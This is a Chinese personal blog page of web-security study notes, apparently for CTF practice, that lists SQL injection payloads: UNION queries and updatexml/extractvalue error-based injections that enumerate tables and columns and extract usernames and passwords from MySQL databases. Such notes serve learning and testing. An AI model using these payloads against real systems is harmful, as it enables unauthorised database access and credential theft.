Zephyr's Repository Zephyr's Repository
首页
笔记
技术
更多
收藏
关于
  • 📂 分类
  • 🏷️ 标签
  • 📅 归档

Zephyr

偷得浮生半日闲
首页
笔记
技术
更多
收藏
关于
  • 📂 分类
  • 🏷️ 标签
  • 📅 归档
  • Web

    • SQL注入
      • 报错注入
        • updatexml函数
        • extractvalue函数
    • PHP伪协议
    • PHP反序列化
    • SSTI模板注入
    • .htaccess文件利用
    • .user.ini文件利用
    • escapeshellarg+escapeshellcmd
    • XXE漏洞原理及利用
  • 密码学

  • 技术文档

  • 资料

  • 博客搭建

  • GitHub技巧

  • 技术
  • Web
Zephyr
2022-06-20
目录

SQL注入

# SQL注入

查表名

union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()
1

查字段名

union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()
1

查数据

union select 1,group_concat(username,":",password),3 from users
1

# 报错注入

# updatexml函数

updataxml函数用法

UPDATEXML (XML_document, XPath_string, new_value);
1

第一个参数:XML_document是String格式,为XML文档对象的名称

第二个参数:XPath_string (Xpath格式的字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点

updatexml报错注入用法

查数据库的版本信息

and updatexml(1,concat(0x7e,@@version,0x7e),1)%23
1

因为concat()是将其连接成一个字符串,不符合xpath_string格式,会出现格式错误而报错

查连接用户

and updatexml(1,concat(0x7e,user(),0x7e),1)%23
1

查表

and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=数据库的十六进制表示),0x7e),1)%23
1
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=0x7868) ,0x7e),1)%23
1
and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23
1

查字段名

and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=库的十六进制表示 and table_schema=表的十六进制表示),0x7e),1)%23
1
and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e),1)%23
1

查数据

and updatexml(1,concat(0x7e,(select concat_ws("~",列名) from 表名 limit 0,1),0x7e),1)%23
1
and updatexml(1,concat(0x7e,(select concat_ws("~",id,username,password) from users limit 0,1),0x7e),1)%23
1

例子

and updatexml(1,concat(0x7e,(select concat_ws("~",id,username,password) from users limit 0,1),0x7e),1)%23
1

# extractvalue函数

第一个参数:XML_document是String格式,为XML文档对象的名称

第二个参数:XPath_string (Xpath格式的字符串)

extractvalue报错注入用法

查数据库的版本信息

and extractvalue(1,concat(0x7e,@@version,0x7e))%23
1

查表名

and extractvalue(1,concat(0x7e,database(),0x7e))%23
1

查连接用户

and extractvalue(1,concat(0x7e,user(),0x7e))%23
1

查表

and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=数据库的十六进制表示),0x7e))%23
1
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=0x7868),0x7e))%23
1
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))%23
1

查字段名

and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=库的十六进制表示 and table_schema=表的十六进制表示),0x7e))%23
1
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e))%23
1

查数据

and extractvalue(1,concat(0x7e,(select concat_ws("~",id,username,password) from users limit 0,1),0x7e))%23
1
#web#SQLInject
上次更新: 2022/09/25, 13:38:30
PHP伪协议

PHP伪协议→

最近更新
01
0CTF 2016 piapiapia
07-23
02
CISCN 2019 初赛 Love
07-22
03
PHP反序列化
07-21
更多文章>
Theme by Vdoing | Copyright © 2021-2022 Zephyr | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式
×